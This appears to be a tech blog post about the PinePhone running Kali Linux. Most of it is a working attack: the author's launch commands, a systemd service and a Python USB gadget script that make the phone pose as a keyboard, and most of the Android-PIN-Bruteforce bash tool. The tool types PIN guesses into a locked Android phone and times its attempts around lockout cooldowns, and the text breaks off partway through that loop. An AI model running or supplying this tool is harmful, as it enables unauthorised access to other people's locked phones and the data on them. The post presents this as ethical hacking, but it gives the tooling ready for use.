Exploring the PinePhone: A Tech Enthusiast’s Dream for Privacy and Hacking
From Unboxing to Unique Use Cases: My Journey with the PinePhone and How It Stacks Up Against the FlipperZero
In the vast sea of smartphones dominated by iOS and Android, a beacon of hope shines for privacy enthusiasts and open-source advocates — the PinePhone. This unique device isn’t just another smartphone; it’s a statement about control, privacy, and the power of community-driven development. My journey with the PinePhone began out of curiosity, but it quickly turned into a profound exploration of what’s possible when technology is open and customizable
Unboxing the PinePhone
The moment the PinePhone box landed in my hands, I knew I was in for a treat. Unlike the sleek, commercial packaging of mainstream smartphones, the PinePhone’s box whispered simplicity and focus on what matters — the device itself. Unboxing it felt more like uncovering a toolkit for innovation rather than just another gadget. The build quality immediately stood out, robust yet invitingly hackable, a clear nod to its target audience of tech tinkerers and cyber enthusiasts.
Technical Specifications and Features
Diving into the technical heart of the PinePhone, its specifications are modest yet entirely not the point.
The device is powered by
- an Allwinner A64 Quad Core SOC with Mali 400 MP2 graphics,
- backed by 2GB of LPDDR3 RAM.
It’s not aiming to compete on specs alone but rather on the versatility and freedom it offers. With a 5.95" LCD and hardware kill switches for the microphone, camera, and wireless features, the PinePhone puts privacy and control directly in the user’s hands.
The real magic, however, lies in its software capabilities. The PinePhone supports a multitude of Linux-based operating systems, giving users unparalleled freedom to customize their mobile experience. My choice to install Kali Linux was driven by a desire to leverage the PinePhone’s potential for security testing and ethical hacking — a decision that opened up a new realm of possibilities.
The PinePhone in Action
Installing Kali Linux on the PinePhone was straightforward, thanks to the vibrant community and comprehensive guides available. But I didn’t stop there. Motivated by the PinePhone’s open nature, I embarked on crafting a custom script to brute force Android phones via an OTG cable. This endeavor was not just about testing the limits of the PinePhone but also about embracing the ethos of learning and innovation that the device embodies. It was a testament to the PinePhone’s potential as a tool for security professionals and enthusiasts alike.
For example I start my exploit with:
sudo modprob g_serial;
sudo rmmod g_serial;
sudo systemctl start create-fake-keyboard.service;
cd /home/kali/Android-PIN-Bruteforce/;
sudo ./android-pin-bruteforce crack
--config /home/kali/Android-PIN-Bruteforce/config --length 4
The create-fake-keyboard.service is as follow:
[Unit]
Description=Setup fake keyboard
[Service]
Type=simple
Restart=always
RestartSec=5
ExecStart=/home/kali/linux-gadget-hid/create-hid.py keyboard
[Install]
WantedBy=multi-user.target
With create-hid.py
#!/usr/bin/python3
# Code by ashren0, taken from:
# https://forum.odroid.com/viewtopic.php?p=272788#p272788
# https://pastebin.com/V6W5e8Da
# needs a device with a microusb host and a kernel with libcomposite and usb_f_hid support
import sys
import os
import shutil
import pwd
import asyncio
import subprocess
import argparse
import atexit
vendor = 'Gadget'
description = "Odroid Keyboard"
class HIDReportDescriptorKeyboard(object):
def __len__(self):
return 8
def __bytes__(self):
return bytes([
0x05, 0x01, # Usage Page (Generic Desktop Ctrls)
0x09, 0x06, # Usage (Keyboard)
0xA1, 0x01, # Collection (Application)
0x05, 0x07, # Usage Page (Kbrd/Keypad)
0x19, 0xE0, # Usage Minimum (0xE0)
0x29, 0xE7, # Usage Maximum (0xE7)
0x15, 0x00, # Logical Minimum (0)
0x25, 0x01, # Logical Maximum (1)
0x75, 0x01, # Report Size (1)
0x95, 0x08, # Report Count (8)
0x81, 0x02, # Input (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null Position)
0x95, 0x01, # Report Count (1)
0x75, 0x08, # Report Size (8)
0x81, 0x03, # Input (Const,Var,Abs,No Wrap,Linear,Preferred State,No Null Position)
0x95, 0x05, # Report Count (5)
0x75, 0x01, # Report Size (1)
0x05, 0x08, # Usage Page (LEDs)
0x19, 0x01, # Usage Minimum (Num Lock)
0x29, 0x05, # Usage Maximum (Kana)
0x91, 0x02, # Output (Data,Var,Abs)
0x95, 0x01, # Report Count (1)
0x75, 0x03, # Report Size (3)
0x91, 0x03, # Output (Const,Var,Abs)
0x95, 0x06, # Report Count (6)
0x75, 0x08, # Report Size (8)
0x15, 0x00, # Logical Minimum (0)
0x25, 0x65, # Logical Maximum (101)
0x05, 0x07, # Usage Page (Kbrd/Keypad)
0x19, 0x00, # Usage Minimum (0x00)
0x29, 0x65, # Usage Maximum (0x65)
0x81, 0x00, # Input (Data,Array,Abs,No Wrap,Linear,Preferred State,No Null Position)
0xC0, # End Collection
])
class HIDReportDescriptorGamepad(object):
def __len__(self):
return 4
def __bytes__(self):
return bytes([
0x05, 0x01, # USAGE_PAGE (Generic Desktop)
0x15, 0x00, # LOGICAL_MINIMUM (0)
0x09, 0x04, # USAGE (Joystick)
0xa1, 0x01, # COLLECTION (Application)
0x05, 0x02, # USAGE_PAGE (Simulation Controls)
0x09, 0xbb, # USAGE (Throttle)
0x15, 0x81, # LOGICAL_MINIMUM (-127)
0x25, 0x7f, # LOGICAL_MAXIMUM (127)
0x75, 0x08, # REPORT_SIZE (8)
0x95, 0x01, # REPORT_COUNT (1)
0x81, 0x02, # INPUT (Data,Var,Abs)
0x05, 0x01, # USAGE_PAGE (Generic Desktop)
0x09, 0x01, # USAGE (Pointer)
0xa1, 0x00, # COLLECTION (Physical)
0x09, 0x30, # USAGE (X)
0x09, 0x31, # USAGE (Y)
0x95, 0x02, # REPORT_COUNT (2)
0x81, 0x02, # INPUT (Data,Var,Abs)
0xc0, # END_COLLECTION
0x09, 0x39, # USAGE (Hat switch)
0x15, 0x00, # LOGICAL_MINIMUM (0)
0x25, 0x03, # LOGICAL_MAXIMUM (3)
0x35, 0x00, # PHYSICAL_MINIMUM (0)
0x46, 0x0e, 0x01, # PHYSICAL_MAXIMUM (270)
0x65, 0x14, # UNIT (Eng Rot:Angular Pos)
0x75, 0x04, # REPORT_SIZE (4)
0x95, 0x01, # REPORT_COUNT (1)
0x81, 0x02, # INPUT (Data,Var,Abs)
0x05, 0x09, # USAGE_PAGE (Button)
0x19, 0x01, # USAGE_MINIMUM (Button 1)
0x29, 0x04, # USAGE_MAXIMUM (Button 4)
0x15, 0x00, # LOGICAL_MINIMUM (0)
0x25, 0x01, # LOGICAL_MAXIMUM (1)
0x75, 0x01, # REPORT_SIZE (1)
0x95, 0x04, # REPORT_COUNT (4)
0x55, 0x00, # UNIT_EXPONENT (0)
0x65, 0x00, # UNIT (None)
0x81, 0x02, # INPUT (Data,Var,Abs)
0xc0 # END_COLLECTION
])
class HidDaemon(object):
def __init__(self, vendor_id, product_id, manufacturer, description, serial_number, hid_report_class):
self._descriptor = hid_report_class()
self._hid_devname = 'odroidc2_hid'
self._vendor = vendor_id
self._product = product_id
self._manufacturer = manufacturer
self._desc = description
self._serial = serial_number
self._libcomposite_already_running = self.check_libcomposite()
self._usb_f_hid_already_running = self.check_usb_f_hid()
self._loop = asyncio.get_event_loop()
self._devname = 'hidg0'
self._devpath = '/dev/%s' % self._devname
def _cleanup(self):
udc_path = '/sys/kernel/config/usb_gadget/%s/UDC' % self._hid_devname
if os.path.exists(udc_path):
with open(udc_path, 'w') as fd:
fd.truncate()
try:
shutil.rmtree('/sys/kernel/config/usb_gadget/%s' % self._hid_devname, ignore_errors=True)
except:
pass
if not self._usb_f_hid_already_running and self.check_usb_f_hid():
self.unload_usb_f_hid()
if not self._libcomposite_already_running and self.check_libcomposite():
self.unload_libcomposite()
@staticmethod
def check_libcomposite():
#r = int(subprocess.check_output("lsmod | grep 'libcomposite' | wc -l", shell=True, close_fds=True).decode().strip())
#return r != 0
return True
@staticmethod
def load_libcomposite():
if not HidDaemon.check_libcomposite():
subprocess.check_call("modprobe libcomposite", shell=True, close_fds=True)
@staticmethod
def unload_libcomposite():
if HidDaemon.check_libcomposite():
subprocess.check_call("rmmod libcomposite", shell=True, close_fds=True)
@staticmethod
def check_usb_f_hid():
r = int(subprocess.check_output("lsmod | grep 'usb_f_hid' | wc -l", shell=True, close_fds=True).decode().strip())
return r != 0
@staticmethod
def load_usb_f_hid():
if not HidDaemon.check_libcomposite():
subprocess.check_call("modprobe usb_f_hid", shell=True, close_fds=True)
@staticmethod
def unload_usb_f_hid():
if HidDaemon.check_libcomposite():
subprocess.check_call("rmmod usb_f_hid", shell=True, close_fds=True)
def _setup(self):
f_dev_name = self._hid_devname
print(f_dev_name)
os.makedirs('/sys/kernel/config/usb_gadget/%s/strings/0x409' % f_dev_name, exist_ok=True)
os.makedirs('/sys/kernel/config/usb_gadget/%s/configs/c.1/strings/0x409' % f_dev_name, exist_ok=True)
os.makedirs('/sys/kernel/config/usb_gadget/%s/functions/hid.usb0' % f_dev_name, exist_ok=True)
with open('/sys/kernel/config/usb_gadget/%s/idVendor' % f_dev_name, 'w') as fd:
fd.write('0x%04x' % self._vendor)
with open('/sys/kernel/config/usb_gadget/%s/idProduct' % f_dev_name, 'w') as fd:
fd.write('0x%04x' % self._product)
with open('/sys/kernel/config/usb_gadget/%s/bcdDevice' % f_dev_name, 'w') as fd:
fd.write('0x0100')
with open('/sys/kernel/config/usb_gadget/%s/bcdUSB' % f_dev_name, 'w') as fd:
fd.write('0x0200')
with open('/sys/kernel/config/usb_gadget/%s/strings/0x409/serialnumber' % f_dev_name, 'w') as fd:
fd.write(self._serial)
with open('/sys/kernel/config/usb_gadget/%s/strings/0x409/manufacturer' % f_dev_name, 'w') as fd:
fd.write(self._manufacturer)
with open('/sys/kernel/config/usb_gadget/%s/strings/0x409/product' % f_dev_name, 'w') as fd:
fd.write(self._desc)
with open('/sys/kernel/config/usb_gadget/%s/configs/c.1/strings/0x409/configuration' % f_dev_name, 'w') as fd:
fd.write('Config 1 : %s' % self._desc)
with open('/sys/kernel/config/usb_gadget/%s/configs/c.1/MaxPower' % f_dev_name,'w') as fd:
fd.write('250')
with open('/sys/kernel/config/usb_gadget/%s/functions/hid.usb0/protocol' % f_dev_name, 'w') as fd:
fd.write('1')
with open('/sys/kernel/config/usb_gadget/%s/functions/hid.usb0/subclass' % f_dev_name, 'w') as fd:
fd.write('1')
with open('/sys/kernel/config/usb_gadget/%s/functions/hid.usb0/report_length' % f_dev_name, 'w') as fd:
fd.write(str(len(self._descriptor)))
with open('/sys/kernel/config/usb_gadget/%s/functions/hid.usb0/report_desc' % f_dev_name, 'wb') as fd:
fd.write(bytes(self._descriptor))
os.symlink(
'/sys/kernel/config/usb_gadget/%s/functions/hid.usb0' % f_dev_name,
'/sys/kernel/config/usb_gadget/%s/configs/c.1/hid.usb0' % f_dev_name,
target_is_directory=True
)
content = '\r\n'.join(os.listdir('/sys/class/udc'))
with open('/sys/kernel/config/usb_gadget/%s/UDC' % f_dev_name, 'w') as fdd:
#content = '\r\n'.join(os.listdir('/sys/class/udc'))
print(content)
fdd.write(content)
def run(self):
if not self._libcomposite_already_running:
self.load_libcomposite()
atexit.register(self._cleanup)
# Setup HID gadget (keyboard)
self._setup()
# Use asyncio because we can then do thing on the side (web ui, polling attached devices using pyusb ...)
try:
self._loop.run_forever()
except KeyboardInterrupt:
pass
if __name__ == '__main__':
user_root = pwd.getpwuid(0)
user_curr = pwd.getpwuid(os.getuid())
print('Running as <%s>' % user_curr.pw_name)
if os.getuid() != 0:
print('Attempting to run as <root>')
sys.exit(os.system("/usr/bin/sudo /usr/bin/su root -c '%s %s'" % (sys.executable, ' '.join(sys.argv))))
parser = argparse.ArgumentParser()
parser.add_argument('hid_type', choices=['keyboard', 'gamepad'])
args = parser.parse_args()
if args.hid_type == 'keyboard':
print('Emulating: Keyboard')
# Generic keyboard
hid = HidDaemon(0x16c0, 0x0488, vendor, description+' HID', 'fedcba9876543210', HIDReportDescriptorKeyboard)
hid.run()
elif args.hid_type == 'gamepad':
print('Emulating: Gamepad')
# Teensy FlightSim for the purpose of this example (and since it's intended for DIY, it fits our purpose)
hid = HidDaemon(0x16c0, 0x0488, vendor, description+' HID', 'fedcba9876543210', HIDReportDescriptorGamepad)
hid.run()
Then ./android-pin-bruteforce is presented as follow:
#!/bin/bash
# Android-PIN-Bruteforce
#
# Unlock an Android phone (or device) by bruteforcing the lockscreen PIN.
#
# Turn your Kali Nethunter phone into a bruteforce PIN cracker for Android devices!
# This uses the USB OTG cable to emulate a keyboard, automatically try PINs, and wait after trying too many wrong guesses.
#
# https://github.com/urbanadventurer/Android-PIN-Bruteforce
# Load Default Configuration
source config.default
# Load Configuration
source config
VERSION=0.2
DIRECTION=1 # go forwards
VERBOSE=0
DRY_RUN=0
#RET=0
LIGHT_GREEN="\033[92m"
LIGHT_YELLOW="\033[93m"
LIGHT_RED="\033[91m"
LIGHT_BLUE="\033[94m"
DEFAULT="\033[39m"
CLEAR_LINE="\033[1K"
MOVE_CURSOR_LEFT="\033[80D"
function usage() {
echo -e "
Android-PIN-Bruteforce ($VERSION) is used to unlock an Android phone (or device) by bruteforcing the lockscreen PIN.
Find more information at: https://github.com/urbanadventurer/Android-PIN-Bruteforce
Commands:
crack\t\t\tBegin cracking PINs
resume\t\tResume from a chosen PIN
rewind\t\tCrack PINs in reverse from a chosen PIN
diag\t\t\tDisplay diagnostic information
version\t\tDisplay version information and exit
Options:
-f, --from PIN\tResume from this PIN
-a, --attempts NUM\tStarting from NUM incorrect attempts
-m, --mask REGEX\tUse a mask for known digits in the PIN
-t, --type TYPE\tSelect PIN or PATTERN cracking
-l, --length NUM\tCrack PINs of NUM length
-c, --config FILE\tSpecify configuration file to load
-p, --pinlist FILE\tSpecify a custom PIN list
-d, --dry-run\t\tDry run for testing. Doesn't send any keys.
-v, --verbose\t\tOutput verbose logs
Usage:
android-pin-bruteforce <command> [options]
"
}
function load_pinlist() {
length=$1
top_number=$((10**$length-1))
# was a PIN_LIST selected by the user?
if [ -f "$PIN_LIST" ]; then
log_info "Loading user specified PIN list $PIN_LIST for $length digits"
# TODO: this doesn't valdiate the PIN_LIST
pinlist=(`cat $PIN_LIST`)
else
# Check if an optimised list exists
if [ -f "optimised-pin-length-$length.txt" ]; then
PIN_LIST="optimised-pin-length-$length.txt"
log_info "Loading optimised PIN list for $length digits ($PIN_LIST)"
pinlist=(`cat $PIN_LIST`)
else
# generate the list
log_info "Generating PIN list for $length digits"
pinlist=(`seq -w 0 $top_number`)
fi
fi
log_info "PIN list contains ${#pinlist[@]} PINs"
if [ -n "$MASK" ]; then
pinlist=(`echo "${pinlist[@]}" | tr ' ' '\n' | egrep "$MASK" | tr '\n' ' '`)
fi
# validate mask returned PINs
if [ ${#pinlist[@]} -eq 0 ]; then
log_fail "MASK $MASK created an invalid PIN list with zero PINs"
abort
fi
resume_from_index=0
if [ -n "$RESUME_FROM_PIN" ]; then
# log_debug "Looking for $RESUME_FROM_PIN in pinlist"
for i in "${!pinlist[@]}"; do
if [[ "${pinlist[$i]}" = "${RESUME_FROM_PIN}" ]]; then
# log_debug "Found ${RESUME_FROM_PIN} at element ${i}"
resume_from_index=$i
fi
done
fi
}
function repeat(){
printf "%0.s$1" $(eval echo {1..$2})
}
# progress bar
# https://unix.stackexchange.com/questions/415421/linux-how-to-create-simple-progress-bar-in-bash
function prog() {
tput cup 0 0
local w=80 p=$1
shift
# create a string of spaces, then change them to dots
printf -v dots "%*s" "$(( $p*$w/100 ))" ""
dots=${dots// /x}
# print those dots on a fixed-width space plus the percentage etc.
printf "\r\e[K|%-*s| %3d %% %s" "$w" "$dots" "$p" "$*"
}
function diagnostic_info() {
log_info "# Diagnostic info"
if [ -e $KEYBOARD_DEVICE ]; then
log_pass "HID device ($KEYBOARD_DEVICE) found"
ls -l $KEYBOARD_DEVICE
else
log_fail "HID device ($KEYBOARD_DEVICE) not found"
fi
if [ -f $HID_KEYBOARD ]; then
log_pass "hid-keyboard executable ($HID_KEYBOARD) found"
ls -l $HID_KEYBOARD
else
log_fail "hid-keyboard executable ($HID_KEYBOARD) not found"
fi
if [ -f $USB_DEVICES ]; then
log_pass "usb-devices executable ($USB_DEVICES) found"
ls -l $USB_DEVICES
else
log_fail "usb-devices executable ($USB_DEVICES) not found"
fi
log_info "## Executing Command: $USB_DEVICES"
$USB_DEVICES
RET=$?
if [ $RET -eq 0 ]; then
log_pass "usb-devices script executed succeessfully."
else
log_fail "usb-devices script failed. Return code $RET."
fi
log_info "## Finding Android Phone USB Device"
devices=$($USB_DEVICES | egrep -C 5 "Manufacturer=[^L][^i][^n][^u][^x]" \
| egrep "Vendor|Manufacturer|Product|SerialNumber" | cut -c 5- )
if [ -n "$devices" ]; then
log_fail "Unexpected result, device identified: $devices. Check your USB cables. The OTG cable should be attached to the locked phone."
else
log_info "Expected result, no device found."
fi
log_info "## Sending Enter Key"
echo enter | $HID_KEYBOARD $KEYBOARD_DEVICE keyboard
RET=$?
if [ $RET -eq 0 ]; then
log_pass "Key was sent succeessfully."
else
log_fail "Key failed to send. Return code $RET."
fi
log_info "## Executing Command: /system/bin/getprop |grep usb"
/system/bin/getprop |grep usb
RET=$?
echo
log_info "## Executing Command: dmesg | grep -i usb | tail"
dmesg | grep -i usb | tail
echo
log_info "# Troubleshooting tips"
echo "- Check the NetHunter phone is succesfully emulating a keyboard by connecting it to a computer with a regular charging/data USB cable. Open a text editor like Notepad and you should see it sending PINs. Note that you do not need an OTG cable for this."
echo "- Check the Nethunter phone has a regular USB cable attached, and the locked phone has an OTG adaptor attached."
echo "- Try using different cables/adaptors. You may have a faulty cable/adaptor."
echo "- Perform a hard reset of both phones by holding down the power button for 20 seconds."
echo "- Try this command: /system/bin/setprop sys.usb.config hid"
echo
exit
}
# Show configuration
function show_configuration() {
log_info "# Current Configuration"
log_conf "Configuration file: $CONFIG_FILE"
log_conf "## PINs"
log_conf "PIN list: $PIN_LIST"
log_conf "Mask: $MASK"
log_conf "Resume from: $RESUME_FROM_PIN"
log_conf "PIN Type (PIN or Pattern): $PIN_TYPE"
log_conf "PIN Length: $PIN_LENGTH"
log_conf "Direction (normal or rewind): $DIRECTION"
log_conf
log_conf "## Timing:"
log_conf "Delay before starting: $DELAY_BEFORE_STARTING"
log_conf "Delay between keys: $DELAY_BETWEEN_KEYS"
log_conf "Send keys to stay awake during cooldown every N seconds: $SEND_KEYS_STAY_AWAKE_DURING_COOLDOWN_EVERY_N_SECONDS"
log_conf "Send keys to dismiss popups N seconds before cooldown ends: $SEND_KEYS_DISMISS_POPUPS_N_SECONDS_BEFORE_COOLDOWN_END"
row_count="${PROGRESSIVE_ARRAY_ATTEMPT_COUNT__________[@]}"
row_attempts="${PROGRESSIVE_ARRAY_ATTEMPTS_UNTIL_COOLDOWN[@]}"
row_cooldown="${PROGRESSIVE_ARRAY_COOLDOWN_IN_SECONDS____[@]}"
log_conf " - Attempt count : $row_count"
log_conf " - Attempts until cooldown: $row_attempts"
log_conf " - Cooldown in seconds : $row_cooldown"
log_conf
log_conf "## Keys:"
log_conf "Keys to send before starting: $KEYS_BEFORE_STARTING"
log_conf "Keys to bring up the lock screen: $KEYS_BEFORE_EACH_PIN"
log_conf "Keys to stay awake during cooldown: $KEYS_STAY_AWAKE_DURING_COOLDOWN"
log_conf "Keys to send at end of cooldown: $SEND_KEYS_DISMISS_POPUPS_AT_COOLDOWN_END"
log_conf
log_conf "## Exiting"
log_conf "Exit after fail count: $EXIT_AFTER_FAIL_COUNT"
log_conf
log_conf "## File paths"
log_conf "Log file: $LOG"
log_conf "HID Keyboard device: $KEYBOARD_DEVICE"
log_conf "Path to hid-keyboard: $HID_KEYBOARD"
log_conf "Path to usb-devices: $USB_DEVICES"
log_conf
log_conf "## Configuration"
log_conf "Dry Run: $DRY_RUN"
log_conf "Verbose: $VERBOSE"
}
function abort() {
if [ $DRY_RUN -eq 0 ]; then
exit 1
else
# continue
echo Dry Run Continues
fi
}
function send_enter() {
send_key enter
}
function send_esc() {
send_key esc
}
function send_keys() {
prompt="$1"
delay="$2"
for key in $prompt; do
case $key in
"ctrl_escape")
send_key "left-ctrl escape"
;;
"ctrl-escape")
send_key "left-ctrl escape"
;;
"space_enter")
send_key "space return"
;;
"space-enter")
send_key "space return"
;;
"mouse-move")
test_send_mouse_btn
;;
"mouse_move")
test_send_mouse_btn
;;
"mouse-left-button")
test_send_mouse_move
;;
"mouse_left_button")
test_send_mouse_move
;;
*)
send_key $key $delay
;;
esac
# if [ $key == "ctrl_escape" ] || [ $key == "ctrl-escape" ] ; then
# send_key "left-ctrl escape"
# else
# send_key $key
# fi
done
}
function test_send_mouse_btn(){
log_debug "Sending mouse: $1"
if [ $DRY_RUN -eq 0 ]; then
echo "0 0" | $HID_KEYBOARD $KEYBOARD_DEVICE mouse --b1 2>/dev/null
RET=$?
else
RET=0 # as if it succeeded
fi
sleep $DELAY_BETWEEN_KEYS
}
function test_send_mouse_move(){
log_debug "Sending mouse: $1"
if [ $DRY_RUN -eq 0 ]; then
echo "0 0" | $HID_KEYBOARD $KEYBOARD_DEVICE mouse 2>/dev/null
RET=$?
else
RET=0 # as if it succeeded
fi
sleep $DELAY_BETWEEN_KEYS
}
function send_key(){
if [ "$2" = "nodelay" ]; then
delay=0
else
delay=$DELAY_BETWEEN_KEYS
fi
log_debug "Sending key: $1 with delay: $delay"
#echo "--num-lock" | $HID_KEYBOARD $KEYBOARD_DEVICE keyboard
if [ $DRY_RUN -eq 0 ]; then
echo "$1" | $HID_KEYBOARD $KEYBOARD_DEVICE keyboard 2>/dev/null
RET=$?
else
RET=0 # as if it succeeded
fi
#echo "--num-lock" | $HID_KEYBOARD $KEYBOARD_DEVICE keyboard
sleep $delay
}
function log_info(){
echo -e "[${LIGHT_BLUE}INFO${DEFAULT}] $1" | tee -a $LOG
}
function log_pass(){
echo -e "[${LIGHT_GREEN}PASS${DEFAULT}] $1" | tee -a $LOG
}
function log_fail(){
echo -e "[${LIGHT_RED}FAIL${DEFAULT}] $1" | tee -a $LOG
}
function log_warn(){
echo -e "[${LIGHT_YELLOW}WARN${DEFAULT}] $1" | tee -a $LOG
}
function log_conf(){
echo -e "[${LIGHT_YELLOW}CONF${DEFAULT}] $1" | tee -a $LOG
}
function log_debug(){
if [ $VERBOSE -gt 0 ]; then
echo -e "[${LIGHT_YELLOW}DEBUG${DEFAULT}] $1" | tee -a $LOG
fi
}
function monitor_phone_connection(){
# check connection to phone
# RET is set by the send_key/send_enter function
fail_counter=0
while [ $RET != 0 ]; do
log_fail "HID USB device not ready. $HID_KEYBOARD returned $RET."
sleep 2
send_keys "$KEYS_BEFORE_EACH_PIN"
((fail_counter++))
if [[ $fail_counter -gt $EXIT_AFTER_FAIL_COUNT ]]; then
log_fail "Exiting after $EXIT_AFTER_FAIL_COUNT successive failures."
abort
fi
done
}
function check_environment(){
if [ -e $KEYBOARD_DEVICE ]; then
log_pass "HID device ($KEYBOARD_DEVICE) found"
else
log_fail "HID device ($KEYBOARD_DEVICE) not found"
abort
fi
if [ -f $HID_KEYBOARD ]; then
log_pass "hid-keyboard executable ($HID_KEYBOARD) found"
else
log_fail "hid-keyboard executable ($HID_KEYBOARD) not found. Hint: You can configure an alternative location for this file with the HID_KEYBOARD variable in the config file."
abort
fi
}
if [ -z "$1" ]; then
usage
exit 1
fi
echo "Android PIN brute-force :: version $VERSION" | tee -a $LOG
# Commandline option handling inspired by ./configure
ac_prev=
for ac_option
do
# If the previous option needs an argument, assign it.
if test -n "$ac_prev"; then
eval "$ac_prev=\$ac_option"
ac_prev=
continue
fi
case "$ac_option" in
-*=*) ac_optarg=`echo "$ac_option" | sed 's/[-_a-zA-Z0-9]*=//'` ;;
*) ac_optarg= ;;
esac
case "$ac_option" in
-attempts | -a | --attempts)
ac_prev=attempts ;;
-attempts=* | -a=* | --attempts=*)
attempts="$ac_optarg" ;;
-config | -c | --config)
ac_prev=config ;;
-config=* | -c=* | --config=*)
config="$ac_optarg" ;;
-from | -f | --from)
ac_prev=from ;;
-from=* | -f=* | --from=*)
from="$ac_optarg" ;;
-length | -l | --length)
ac_prev=length ;;
-length=* | -l=* | --length=*)
length="$ac_optarg" ;;
-mask | -m | --mask)
ac_prev=mask ;;
-mask=* | -m=* | --mask=*)
mask="$ac_optarg" ;;
-type | -t | --type)
ac_prev=type ;;
-type=* | -t=* | --type=*)
type="$ac_optarg" ;;
-pinlist | -p | --pinlist)
ac_prev=pinlist ;;
-pinlist=* | -p=* | --pinlist=*)
pinlist="$ac_optarg" ;;
-verbose | -v | --verbose)
VERBOSE=1 ;;
-help | -h | --help)
usage
exit 1 ;;
-dryrun | -d | --dryrun | -dry-run | --dry-run )
DRY_RUN=1 ;;
diag*)
diagnostic_info
exit ;;
crack)
ACTION=crack ;;
resume)
ACTION=resume ;;
rewind)
ACTION=rewind
DIRECTION=-1 ;;
version)
echo "Android-PIN-Bruteforce $VERSION"
exit ;;
-*) { echo "Error: $ac_option: invalid option; use --help to show usage" 1>&2; exit 1; }
;;
*)
if test "x$nonopt" != xNONE; then
{ echo "Error: invalid options" 1>&2; exit 1; }
fi
nonopt="$ac_option"
;;
esac
done
if test -n "$ac_prev"; then
{ echo "configure: error: missing argument to --`echo $ac_prev | sed 's/_/-/g'`" 1>&2; exit 1; }
fi
if [[ -n "$config" ]]; then
# load the config file first
if [[ -f "$config" ]]; then
log_info "Loaded configuration file: $config"
source "$config"
CONFIG_FILE="$config"
else
log_fail "Unable to load configuration file: $config"
abort
fi
fi
# only set VARS if specified in commandline arguments
# commandline arguments overide the config file
if [[ -n "$mask" ]]; then
MASK=$mask
fi
if [[ -n "$from" ]]; then
RESUME_FROM_PIN=$from
fi
if [[ -n "$type" ]]; then
PIN_TYPE=$type
fi
if [[ -n "$length" ]]; then
PIN_LENGTH=$length
fi
if [[ -n "$pinlist" ]]; then
PIN_LIST=$pinlist
fi
if [[ -n "$attempts" ]]; then
STARTING_ATTEMPTS=$attempts
fi
# Validation
# Validate PIN TYPE
case "$PIN_TYPE" in
pattern | PATTERN )
log_fail "Pattern cracking is not yet implemented."
abort ;;
pin | PIN )
;;
*)
log_fail "Type $PIN_TYPE cracking is not available."
abort ;;
esac
# Validate PIN LENGTH
if [[ "$PIN_LENGTH" -gt 0 ]] && [[ "$PIN_LENGTH" -le 8 ]]; then
# nothing
echo -n
else
log_fail "PIN length $PIN_LENGTH is invalid. Valid lengths are 1 to 8."
fi
# Validate PIN LIST
# either set by config or commandline options
if [[ -n "$PIN_LIST" ]]; then
if [[ -f "$PIN_LIST" ]]; then
echo -n
else
log_fail "$PIN_LIST is not a valid PIN LIST"
exit 1
fi
fi
# rewind, resume require that RESUME_FROM_PIN be set
if [[ "$ACTION" = "resume" ]] || [[ "$ACTION" = "rewind" ]] && [[ -z "$RESUME_FROM_PIN" ]]; then
log_fail "$ACTION requires that --from be set"
exit 1
fi
if [[ $DRY_RUN -eq 1 ]]; then
log_info "Dry run enabled"
fi
load_pinlist $PIN_LENGTH
if [[ $VERBOSE > 0 ]]; then
show_configuration
fi
# Check Environment
log_info "Checking environment"
check_environment
send_keys "$KEYS_BEFORE_STARTING"
sleep $DELAY_BEFORE_STARTING
position=$resume_from_index
pinlist_n_elements=${#pinlist[@]}
cooldown_counter=0
progressive_array_finished=0
# Handle starting attempts
if [[ $STARTING_ATTEMPTS > 0 ]]; then
count=$((STARTING_ATTEMPTS - 1))
else
count=0
fi
top_progressive_array_position=$(( ${#PROGRESSIVE_ARRAY_ATTEMPT_COUNT__________[@]} - 1 ))
# find the position in PROGRESSIVE_ARRAY_ATTEMPT_COUNT__________
progressive_array_position=0
for (( n=0; n <= $top_progressive_array_position; n++ ))
do
if [[ ${PROGRESSIVE_ARRAY_ATTEMPT_COUNT__________[$n]} -gt $count ]]; then
break
fi
progressive_array_position=$n
done
# is it the last position?
if [ $progressive_array_position -eq $top_progressive_array_position ]; then
progressive_array_finished=1
fi
cooldown_time=${PROGRESSIVE_ARRAY_COOLDOWN_IN_SECONDS____[$progressive_array_position]}
cooldown_after_n_attempts=${PROGRESSIVE_ARRAY_ATTEMPTS_UNTIL_COOLDOWN[$progressive_array_position]}
for (( position=$resume_from_index ; position>=0 && position <= pinlist_n_elements; position=position+DIRECTION ))
do
# rename to attempt_counter
((count++))
((attempts_before_cooldown_counter++))
pin=${pinlist[position]}
# send prompt keys,e.g. escape and enter before every PIN attempted
send_keys "$KEYS_BEFORE_EACH_PIN"
# if we got an error from sending the key, check the phone connection
if [ $RET -gt 0 ]; then
monitor_phone_connection
fi
sleep $DELAY_AFTER_KEYS_BEFORE_EACH_PIN
percent_complete=$((100*$position/$pinlist_n_elements))
echo "[SEND] $pin. Attempt $count ($percent_complete%) at $(date +"%b%d %r")" | tee -a "$LOG"
# prog $percent_complete
for i in `echo "$pin" | grep -o .`; do
#echo $i
send_key "$i"
done
send_keys "$KEYS_AFTER_EACH_PIN"
if [[ $progressive_array_finished -ne 1 && $top_progressive_array_position -gt 0 ]]; then
# log_info "Count: $count Attempts_before_cooldown_counter: $attempts_before_cooldown_counter Cooldown_time: $cooldown_time Cooldown after N attempts: $cooldown_after_n_attempts"
# check if we are changing the cooldown variables
if [ $count -eq ${PROGRESSIVE_ARRAY_ATTEMPT_COUNT__________[$progressive_array_position + 1]} ]; then
((progressive_array_position++))
cooldown_time=${PROGRESSIVE_ARRAY_COOLDOWN_IN_SECONDS____[$progressive_array_position]}
cooldown_after_n_attempts=${PROGRESSIVE_ARRAY_ATTEMPTS_UNTIL_COOLDOWN[$progressive_array_position]}
if [ $progressive_array_position -lt $top_progressive_array_position ]; then
attempts_before_cooldown_counter=0
else
progressive_array_finished=1
log_info "Reached last position in Progressive Cooldown Array"
fi
# first time only
if [ $count -eq 1 ]; then
attempts_before_cooldown_counter=1
fi
log_info "Progressive Array [$progressive_array_position]. Reached $count attempts. Cooldown time is $cooldown_time seconds after every $cooldown_after_n_attempts PIN attempt(s)."
fi
fi
# cooldown_time is optional
if [[ $cooldown_time > 0 && $cooldown_after_n_attempts > 0 ]]; then
#log_info "Cooldown for :$cooldown_time"
# if we are after N attempts
if [ $((attempts_before_cooldown_counter % $cooldown_after_n_attempts)) = 0 ]; then
# countdown cooldown_time seconds
log_debug "Countdown for $cooldown_time"
